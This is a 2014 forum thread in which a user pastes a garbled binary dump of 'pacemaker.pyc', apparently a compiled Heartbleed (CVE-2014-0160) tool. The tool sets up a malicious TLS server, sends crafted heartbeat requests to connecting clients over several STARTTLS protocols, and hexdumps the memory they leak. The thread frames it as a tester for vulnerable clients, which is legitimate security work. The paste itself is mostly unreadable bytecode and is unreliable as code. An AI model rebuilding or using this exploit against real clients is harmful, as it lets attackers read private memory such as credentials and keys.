mw3demo Posted April 18, 2014 Share Posted April 18, 2014 2nd Part because the first was too long pacemaker.pyc Û˛JSc@sJ[1]yddlZWnddlZnXddl[1]Z[1]ddl Z ddl Z ddlZddlZdd[1]lmZed d ÉZ e jddddd dÉ[1][1]e jddddd dÉ[1][1]e jdddeddd dÉ[1] e jdddddddddddgd d‑É[1] e jdd dedd!d d"É[1] e jd#deddd d$É e jd%d&dedd'd d(É[1] d)ÑZd*ÑZd+ÑZd,efd-ÑÉYZd.efd/ÑÉYZed0ÑZd1ÑZd2ejfd3ÑÉYZd4ejfd5ÑÉYZd6ÑZed7k[1]rF[1]e jÉZyeeÉWqF[1] e‑krB[1]qF[1]XndS(8iˇˇˇˇN(tArgumentParsertdescriptions+Test clients for Heartbleed (CVE-2014-0160)s[1]-6s--ipv6tactiontstore_truet helps?Enable IPv6 addresses (implied by IPv6 listen addr. such as ::)s[1]-ls--listentdefaultts)Host to listen on (default "%(default)s")s[1]-ps--portt typeiQs+TCP port to listen on (default %(default)d)s[1]-cs--clientt tlstchoicestmysqlt ftpt smtpt imapt pop3s(Target client type (default %(default)s)s[1]-ts --timeouti s@Timeout in seconds to wait for a Heartbeat (default %(default)d)s--skip-servers5Skip ServerHello, immediately write Heartbeat requests[1]-xs--countis=Number of Hearbeats requests to be sent (default %(default)d)c[1] Cs®d|}[1]|[1]d[1]7}[1]|[1]d 7}[1]|[1]d 7}[1]|[1]d|7}[1]|[1]d7}[1]|[1]djdÑ|DÉÉ7}[1]|[1]d7}[1]|[1]d 7}[1]|[1]d7}[1]|[1]d7}[1]|[1]d7}[1]tj[1]|[1]j ddÉ[1]ÉS(Ns 16 s 00 31s 02 00s 00 2dt st 52 34 c6 6d 86 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05 b0 ce af 7e b7 95 8c 33 42 3f d5 00 c[1] ss‑|]}dj|ÉVq dS([1]s{:02x}N(tformat([1]t[1].0tc((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pys <genexpr>/s[1]s 00s 00 05s 00 0fs 00 01s 01sR( t joint bytearraytfromhextreplace( tsslvertciphert data((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pytmake_hello"s[1] c[1] CsAd|}|d[1]7}|d 7}|d 7}tj|j[1]ddÉ[1]ÉS(Ns 18 s 00 03s 01s ff edsR( RRR([1]RR((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pytmake_heartbeat8scCs«d}d }[1]x¥td t|Éd[1]É D]ö} || | d[1]!} | |t| É k[1]rÖ|[1]d 7}[1]|[1]dk[1]rpdGHn|[1]dkrÖq%qÖndj[1]| dj d Ñ| DÉÉdj dÑ| DÉÉÉ GHq%WdS(Ntiiii[1]t*s{:04x}: {:47} {}Rc[1] ss‑|]}dj|ÉVq dS([1]s{:02x}N(R([1]RR((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pys <genexpr>Rs[1]Rc[1] ss9|]/}|dkr-|dkr-t|Én d[1]Vq d S( i it.N(t chr([1]RR((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pys <genexpr>Ss[1]t( tranget lenRR(Rt allzeroest zerolinestit line((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pythexdumpDs[1][1] tFailurecBseZRS(([1]t__name__t__module__(((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pyR(Us[1]tRecordParserc[1]BsGeZe[1]j dÉZ dÑZd[1]ÑZd ÑZd ÑZe dÑZRS(s !BHHc[1]Cs"tÉ|_d|_[1]d|_ dS([1]Ni(Rtbuffertbuffer_lent Nonetrecord_hdr(t self((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pyt__init__Zs c[1][1] Cs(| j|7[1]_| jt[1]|É7[1]_dS(N( R,R-R"([1]R0R((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pyt feed_s c CsL|jdkrE|j[1]|j j krE|j jt|jÉÉ|_n|jS(N(R/R.R-trecord_st sizetunpack_fromtbytesR,(R0((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pytget_headercs$!c[1] Cs7|jj}|j[1]Ér,||j d7}n||j S([1]s4Zero or lower indicates that a fragment is availablei[1](R3R4R7R/R-([1]R0texpected_len((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pytbytes_neededhs[1]c[1]Csó|jÉsdS|j[1]\ }[1]} } |j j | }|rL|j|krLdS|j|j j |!}|j|4| j|8[1]_d|_[1]|[1]| t|Éf S(N(R7R.R/R3R4R-R,R6(R0tpartialtrecord_typeRtfragment_lentrecord_lentfragment((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pytget_recordos [1][1] [1][1][1](R)R*tstructtStructR3R1R2R7R9tFalseR?(((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pyR+Xs c Cs˜tÉ} tjÉ|} d}| j É}x≥|dk r‡|dk r‡t j |ggg|É \ }}}|sÉtjd[1]É}Pny‑| j|dj|ÉÉWn tj kr¿} | }PnX| j É}| tjÉ}q.W| jd |[1]É|f[1]S( NisTimeout while waiting for bytesR:(R+t timeR.R9tselecttsocketttimeoutR2t recvterrorR?(t sockRFR:trparsertend_timeRHtbytes_to_readt[1]rlt_te((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pytread_recordÅs" [1]$[1] [1] ‑[1][1]c[1]CsÎtjÉ|}[1]tÉ} d} d}d}x8t | É| kre|d[1]k ret ||d tÉ[1]\[1]}}|sqPn|\ }} }|d k[1]r| st |ÉdkrΩ|rÆPntdÉÇn|d[1]d!dk rtdÉÇntjd |dÉ \} | |d7} qR| |7} n=|dk[1]r=t |Édk[1]r=|}Pntdj |ÉÉÇ|[1]tjÉ}q.W|r»|d[1]d!t|dd!É[1]}}|dk[1]rüdn d}dj ||É[1]GH| s»dGHdSn|rÁ| rÁdt|ÉGHn| S(NiiR:ii sResponse too smalls[1]s$Expected Heartbeat in first responses[1]!Hi[1]isUnexpected record type {}tWarningtFatals#Got Alert, level={}, description={}s4Not vulnerable! (Heartbeats disabled or not OpenSSL)s$Did not receive heartbeat response! (RCRR.R"RPt TrueR(R@R5Rt ordt str(RIRFRKtmemorythb_lentread_errortalerttrecordR;RNR>t lvlt desc((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pytread_hb_responseôsH [1]! [1][1] [1][1][1]‑ [1] ! [1]tRequestHandlercBskeZdÑZ[1]dÑZ d[1]ÑZ d ÑZd ÑZdÑZdÑZdÑZ dÑZd ÑZdÑZRS(cCsÜ|jj|_d|_[1]|j j Éd[1] \[1]}}[1]d j||[1]É[1]GHyÂ|j jd[1]Éd |jj} t|| É[1]rít || É[1]|j ÉdGHn|jjs´|jÉnxxtd|jjÉ[1]D]a} y|jÉs⁄PnWq¡ tjkr!}| dk[1]rdt|ÉGHndt|ÉGHPq¡Xq¡WWnS ttjtjf krZ}d t|ÉGHn# tkr|dGH|jjÉnXdGHdS(Ns03 01i[1]sConnection from: {}:{}tprepare_s2Pre-TLS stage completed, continuing with handshakeis Unable to send first heartbeat! s Unable to send more heartbeats, s#Unable to check for vulnerability: sShutting down...R(tservert argsRtrequesttgetpeernameRtsettimeouttclientthasattrtgetattrtskip_servertdo_serverhelloR!tcounttdo_evilRERHRUR(RFtKeyboardInterruptt kill(R0tremote_addrtremote_portt prep_methR%RO((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pythandleŒs6 [1] [1][1][1] [1]‑[1][1]cCsë|jdd[1]É[1]\ }}[1]} |j| d kd É[1]|dk[1]rLt[1]dÉÇn|j|dk[1]dÉ[1]|j j | É} |jt| É| k[1]d É[1]tjd| d É[1]\ }}}}[1]|j|dk[1]dÉ[1]d}tjd| ||d!É[1]\} |d| 7}|j| |dkdÉ[1]tjd| ||d!É[1]}|d7}t| ||d!É}dj |[1]d?|[1]d@É[1]|_|j jt|j|É[1]ÉdS(Ns >BHHsTLS recordi'sIllegal handshake packetiÄs SSL 2.0 clients cannot be testedisExpected Handshake typesUnable to read handshakes>BBHHiisExpected Client Helloi tBi sIllegal handshake packet (2)s[1]<Hi[1]s{:02x} {:02x}iiˇi&(trecv_stexpectR(RbRGR"R@tunpackRRRtsendallR(R0tcontent_typet vertrec_lent hndthnd_typetlen_hightlen_lowt offtsid_lentciphers_lenR((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pyRiÚs$[1][1][1] "[1][1][1][1] c[1] Csx|jjt[1]|j ÉÉt |j|jjÉ[1]}|d k rM|rMdGHtS|rtd[1]j t|ÉÉGHt|ÉntS( s(Returns True if memory *may* be acquiredsPossibly not vulnerables"Client returned {0} ({0:#x}) bytesN(RbRvRRR]RaRFR.RBRR"R'RS([1]R0RV((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pyRks [1]c [1]Cs|st|[1]ÉÇndS(N(R(( R0t condt what((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pyRt&s c[1]Cs¶d}[1]|jtj[1]|[1]j d[1]d É[1]ÉÉd GH|j ddÉ[1]\ } } }}| d>| B}|j|dk[1]d É[1]|j|d@dÉ[1]dj|ÉGH|j|dÉdS(NsM 56 00 00 00 0a 35 2e 35 2e 33 36 2d 4d 61 72 69 61 44 42 2d 6c 6f 67 00 04 00 00 00 3d 3b 4e 57 4c 54 44 35 00 ff ff 21 02 00 0f e0 15 00 00 00 00 00 00 00 00 00 00 7c 36 33 3f 23 2e 5e 6d 2d 34 5c 54 00 6d 79 73 71 6c 5f 6e 61 74 69 76 65 5f 70 61 73 73 77 6f 72 64 00 sRsServer Greeting sent.s<BHBHsMySQL handshakeii s Expected SSLRequest length == 32isMissing Client SSL supportsSkipping {} packet bytes...i[1](RvRRRRsRtRRG(R0RItgreetingR}R|tseqidt capstpacket_len((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pytprepare_mysql+s"[1]‑[1][1]c[1] Csp|jdjd[1]ÉÉ|j[1]d Éj d[1]Éj É}[1]|j|[1]d kd|[1]É[1]|jtd|[1]dd[1]É[1]ÉdS(Ns220 pacemaker testtasciiisAUTH SSLsAUTH TLSsUnexpected response: s 234 s[1]([1]sAUTH SSLsAUTH TLS(RvtencodeRGtdecodetstripRtR( R0RIR((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pytprepare_ftpBs‑c[1][1]Cs|jdddg[1]É[1]dS(Ns+OK pacemaker readyt CAPAs+OKSTLS.t STLSs+OK([1]Rçs+OKSTLS.([1]Rés+OK(tdo_conversation([1]R0RI((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pytprepare_pop3Is c[1][1]Cs|jdddg[1]É[1]dS(Ns220 pacemaker testsEHLO s#250-example.com Hi!250 STARTTLStSTARTTLSs220 Go ahead([1]sEHLO s#250-example.com Hi!250 STARTTLS([1]sSTARTTLSs220 Go ahead(Rè([1]R0RI((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pytprepare_smtpOs c[1]Cs˘d}[1]d[1]d |[1]d f[1]dg[1]} |jd|[1]djd ÉÉx¥| D]¨\[1]} }|j[1]dÉj d Éj É}|jd|kd|É[1]|jddÉ[1]\[1]}}|j|t| É | k[1]d| d|É[1]||d7}|j|jd ÉÉqEWdS(NsCAPABILITY IMAP4rev1 STARTTLStCAPABILITYs[1]* s[1]RëRs* OK readyRàiRsIMAP protocol violation, got i[1]s Expected s, got s OK([1]sSTARTTLSR(RvRâRGRätupperRttsplitR"(R0RIRÖt talkt expt respRt tag((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pytprepare_imapUs[1] [1]‑[1]‑c Csö|jj|j[1]dÉÉxz|[1]D]r\[1]} } |jj d[1]Éj dÉjÉ}|j|t| É | k[1]d | d |É[1]|jj| j[1]dÉÉq WdS(s3Helper to handle simple request-response protocols.Ràis Expected s, got N(RbRvRâRGRäRîRtR"(R0RÉRñRóRòR((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pyRèfs[1][1]!c Csntj|É} |j[1]j | j É} dj|[1]t| É| j É }|jt| É| j k[1]|É[1]| j| ÉS([1]Ns{}: received only {}/{} bytes( R@RARbRGR4RR"RtRu(R0tstruct_defRÇtsRt msg((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pyRsps‑(R)R*RqRiRkRtRáRåRêRíRöRèRs(((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pyR^Õs $ ! tPacemakerServercBs#eZdÑZ[1]dÑZ d[1]ÑZ RS( c[1] Cse|j|jf[1]}[1]t[1]|_ |j s3d|jkrBtj|_ntj j||[1]tÉ ||_dS([1]Nt:(tlistent portRStallow_reuse_addresst ipv6REtAF_INET6taddress_familytsocketservert TCPServerR1R^Ra( R0Ratserver_address((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pyR1xs c[1]Cs't|_x|js"|j[1]ÉqWdS(N( RBtstoppedthandle_request(R0((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pytserve_foreverÄs c[1]Cst|_dS(N([1]RSR©(R0((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pyRmÖs[1]®R*R1R´Rm(((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pyRûws c[1] Cs7dj|j|j[1]|j É GHt |É}|jÉdS([1]Ns!Listening on {}:{} for {} clients(RR†R°ReRûR´([1]RaR`((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pytserveàst__main__(R¶tSocketServerREt sysR@RDRCtargparseRtparsertadd_argumentt intRBRRR't ExceptionR(tobjectR+RPR]tBaseRequestHandlerR^RßRûR¨R)tparse_argsRaRl(((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pyt<module>sP [1][1][1] ) 4™ Finally, the current md5 of pacemaker.zip: 6a67173e0bb3f1ff1e3840261063acee Quote Link to comment Share on other sites More sharing options...
i8igmac Posted April 18, 2014 Share Posted April 18, 2014 Has any one tested. I tried pacemaker Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.